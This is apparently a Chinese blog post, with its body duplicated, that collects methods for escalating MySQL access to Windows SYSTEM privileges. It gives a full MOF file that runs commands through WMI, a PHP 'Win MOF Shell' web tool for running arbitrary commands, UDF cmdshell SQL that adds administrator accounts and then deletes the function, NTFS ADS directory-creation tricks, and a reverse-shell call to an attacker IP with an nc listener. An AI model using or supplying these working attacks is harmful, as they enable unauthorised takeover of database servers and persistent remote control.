• MYSQL提权总结


    最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,总结一下MYSQL提权的各种姿势吧,权当复习了。关于mysql提权的方法也就那么几种,希望也能帮到各位小伙伴们。

    一、利用mof提权

    前段时间国外Kingcope大牛发布了mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),剑心牛对MOF利用进行了分析,如下:

    Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

    方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

    方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

    方法 3: 拖放到 %SystemRoot%System32WbemMOF 文件夹的 MOF 文件。

    Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。

    第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。

    具体到mysql提权中,我们又该怎么利用呢?

    1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下。

    #pragma namespace("\\.\root\subscription") 
    
    instance of __EventFilter as $EventFilter 
    { 
        EventNamespace = "Root\Cimv2"; 
        Name  = "filtP2"; 
        Query = "Select * From __InstanceModificationEvent " 
                "Where TargetInstance Isa "Win32_LocalTime" " 
                "And TargetInstance.Second = 5"; 
        QueryLanguage = "WQL"; 
    }; 
    
    instance of ActiveScriptEventConsumer as $Consumer 
    { 
        Name = "consPCSV2"; 
        ScriptingEngine = "JScript"; 
        ScriptText = 
        "var WSH = new ActiveXObject("WScript.Shell")
    WSH.run("net.exe user admin admin /add")"; 
    }; 
    
    instance of __FilterToConsumerBinding 
    { 
        Consumer   = $Consumer; 
        Filter = $EventFilter; 
    };
    

      

    其中的第18行的命令,上传前请自己更改。

    2、执行load_file及into dumpfile把文件导出到正确的位置即可。

    1 select load_file('C:/wmpub/nullevt.mof'into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

    执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

    mof提权带回显带清楚命令版本.php

    <?php 
    $path="c:/windows/system32/canimei"; 
    session_start(); 
    if(!empty($_POST['submit'])){ 
    setcookie("connect"); 
    setcookie("connect[host]",$_POST['host']); 
    setcookie("connect[user]",$_POST['user']); 
    setcookie("connect[pass]",$_POST['pass']); 
    setcookie("connect[dbname]",$_POST['dbname']); 
    echo "<script>location.href='?action=connect'</script>"; 
    } 
    if(empty($_GET["action"])){ 
    ?> 
    
    <html> 
    <head><title>Win MOF Shell</title></head> 
    <body> 
    <form action="?action=connect" method="post"> 
    Host: 
    <input type="text" name="host" value="192.168.200.144:3306"><br/> 
    User: 
    <input type="text" name="user" value="root"><br/> 
    Pass: 
    <input type="password" name="pass" value="toor"><br/> 
    DB:   
    <input type="text" name="dbname" value="mysql"><br/> 
    <input type="submit" name="submit" value="Submit"><br/> 
    </form> 
    </body> 
    </html> 
    
    <?php 
    exit; 
    } 
    if ($_GET[action]=='connect') 
    { 
    $conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>'); 
    echo "<form action='' method='post'>"; 
    echo "Cmd:"; 
    echo "<input type='text' name='cmd' value='$strCmd'?>"; 
    echo "<br>"; 
    echo "<br>"; 
    echo "<input type='submit' value='Exploit'>"; 
    echo "</form>"; 
    echo "<form action='' method='post'>"; 
    echo "<input type='hidden' name='flag' value='flag'>"; 
    echo "<input type='submit'value=' Read  '>"; 
    echo "</form>"; 
    if (isset($_POST['cmd'])){ 
    $strCmd=$_POST['cmd']; 
    $cmdshell='cmd /c '.$strCmd.'>'.$path; 
    $mofname="c:/windows/system32/wbem/mof/system.mof"; 
    $payload = "#pragma namespace("\\\\\\\\.\\\\root\\\\subscription") 
    
    instance of __EventFilter as $EventFilter 
    { 
      EventNamespace = "Root\\\\Cimv2"; 
      Name  = "filtP2"; 
      Query = "Select * From __InstanceModificationEvent " 
          "Where TargetInstance Isa \\"Win32_LocalTime\\" " 
          "And TargetInstance.Second = 5"; 
      QueryLanguage = "WQL"; 
    }; 
    
    instance of ActiveScriptEventConsumer as $Consumer 
    { 
      Name = "consPCSV2"; 
      ScriptingEngine = "JScript"; 
      ScriptText = 
      "var WSH = new ActiveXObject(\\"WScript.Shell\\")\\nWSH.run(\\"$cmdshell\\")"; 
    }; 
    
    instance of __FilterToConsumerBinding 
    { 
      Consumer = $Consumer; 
      Filter = $EventFilter; 
    };"; 
    mysql_select_db($_COOKIE["connect"]["dbname"],$conn); 
    $sql1="select '$payload' into dumpfile '$mofname';"; 
    if(mysql_query($sql1)) 
      echo "<hr>Execute Successful!<br> Please click the read button to check the  result!!<br>If the result is not correct,try read again later<br><hr>"; else die(mysql_error()); 
    mysql_close($conn); 
    } 
    
    if(isset($_POST['flag'])) 
    { 
      $conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>'); 
      $sql2="select load_file("".$path."");"; 
      $result2=mysql_query($sql2); 
      $num=mysql_num_rows($result2); 
      while ($row = mysql_fetch_array($result2, MYSQL_NUM)) { 
        echo "<hr/>"; 
        echo '<pre>'. $row[0].'</pre>'; 
      } 
      mysql_close($conn); 
    } 
    } 
    ?>

    二、利用UDF提权

    udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。

    1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。

    连接到mysql以后,先导出udf.dll到c:windowssystem32目录下。

    2、创建相应的函数并执行命令,具体如下:

    1 create function cmdshell returns string soname 'udf.dll';
    2 select cmdshell('net user waitalone waitalone.cn /add');
    3 select cmdshell('net localgroup administrators waitalone /add');
    4 drop function cmdshell; 删除函数
    5 delete from mysql.func where name='cmdshell'  删除函数

    3、某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到libplugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法

    1 select @@basedir;  
    2 //查找到mysql的目录
    3 select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';  
    4 //利用NTFS ADS创建lib目录
    5 select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';
    6 //利用NTFS ADS创建plugin目录

    执行成功以后再进行导出即可。

    三、反弹端口连接提权

    假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?

    1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。

    1 mysql.exe -h 172.16.10.11 -uroot -p
    2 Enter password:
    3 mysql> . c:mysql.txt
    4 mysql>select backshell("YourIP",2010);

    2、本地监听你反弹的端口

    nc.exe -vv -l -p 2010

    成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。

    mysql.txt下载

    参考文章:

    http://zone.wooyun.org/content/1795

    http://www.exploit-db.com/exploits/23083/

    http://www.myhack58.com/Article/html/3/8/2013/38264.htm

    http://www.2cto.com/Article/201212/177983.html

    最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,总结一下MYSQL提权的各种姿势吧,权当复习了。关于mysql提权的方法也就那么几种,希望也能帮到各位小伙伴们。

    一、利用mof提权

    前段时间国外Kingcope大牛发布了mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),剑心牛对MOF利用进行了分析,如下:

    Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

    方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

    方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

    方法 3: 拖放到 %SystemRoot%System32WbemMOF 文件夹的 MOF 文件。

    Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。

    第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。

    具体到mysql提权中,我们又该怎么利用呢?

    1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下。

    01 #pragma namespace("\\.\root\subscription")
    02  
    03 instance of __EventFilter as $EventFilter
    04 {
    05     EventNamespace = "Root\Cimv2";
    06     Name  = "filtP2";
    07     Query = "Select * From __InstanceModificationEvent "
    08             "Where TargetInstance Isa "Win32_LocalTime" "
    09             "And TargetInstance.Second = 5";
    10     QueryLanguage = "WQL";
    11 };
    12  
    13 instance of ActiveScriptEventConsumer as $Consumer
    14 {
    15     Name = "consPCSV2";
    16     ScriptingEngine = "JScript";
    17     ScriptText =
    18     "var WSH = new ActiveXObject("WScript.Shell") WSH.run("net.exe user waitalone waitalone.cn /add")";
    19 };
    20  
    21 instance of __FilterToConsumerBinding
    22 {
    23     Consumer   = $Consumer;
    24     Filter = $EventFilter;
    25 };

    其中的第18行的命令,上传前请自己更改。

    2、执行load_file及into dumpfile把文件导出到正确的位置即可。

    1 select load_file('C:/wmpub/nullevt.mof'into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

    执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

    二、利用UDF提权

    udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。

    1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。

    连接到mysql以后,先导出udf.dll到c:windowssystem32目录下。

    2、创建相应的函数并执行命令,具体如下:

    1 create function cmdshell returns string soname 'udf.dll';
    2 select cmdshell('net user waitalone waitalone.cn /add');
    3 select cmdshell('net localgroup administrators waitalone /add');
    4 drop function cmdshell; 删除函数
    5 delete from mysql.func where name='cmdshell'  删除函数

    3、某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到libplugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法

    1 select @@basedir;  
    2 //查找到mysql的目录
    3 select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';  
    4 //利用NTFS ADS创建lib目录
    5 select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';
    6 //利用NTFS ADS创建plugin目录

    执行成功以后再进行导出即可。

    三、反弹端口连接提权

    假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?

    1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。

    1 mysql.exe -h 172.16.10.11 -uroot -p
    2 Enter password:
    3 mysql> . c:mysql.txt
    4 mysql>select backshell("YourIP",2010);

    2、本地监听你反弹的端口

    nc.exe -vv -l -p 2010

    成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。

    mysql.txt下载

    参考文章:

    http://zone.wooyun.org/content/1795

    http://www.exploit-db.com/exploits/23083/

    http://www.myhack58.com/Article/html/3/8/2013/38264.htm

    http://www.2cto.com/Article/201212/177983.html

  • 相关阅读:
    Flex 学习笔记 Remoting中的作用域(转)
    Flex 学习笔记 动态设置itemRenderer
    发现一个很好玩的网站个人漫画
    AjaxLoad动态生成加载图标的网站
    如何提高大字符串(是从文本文件读取出来的,有2M多)在网页中的显示速度
    CSS纵向居中问题
    用javascript进行xsl转换
    实现鼠标感应效果
    随笔写写
    execCommand指令集
  • 原文地址:https://www.cnblogs.com/Le30bjectNs11/p/4546948.html
Copyright © 2020-2023  润新知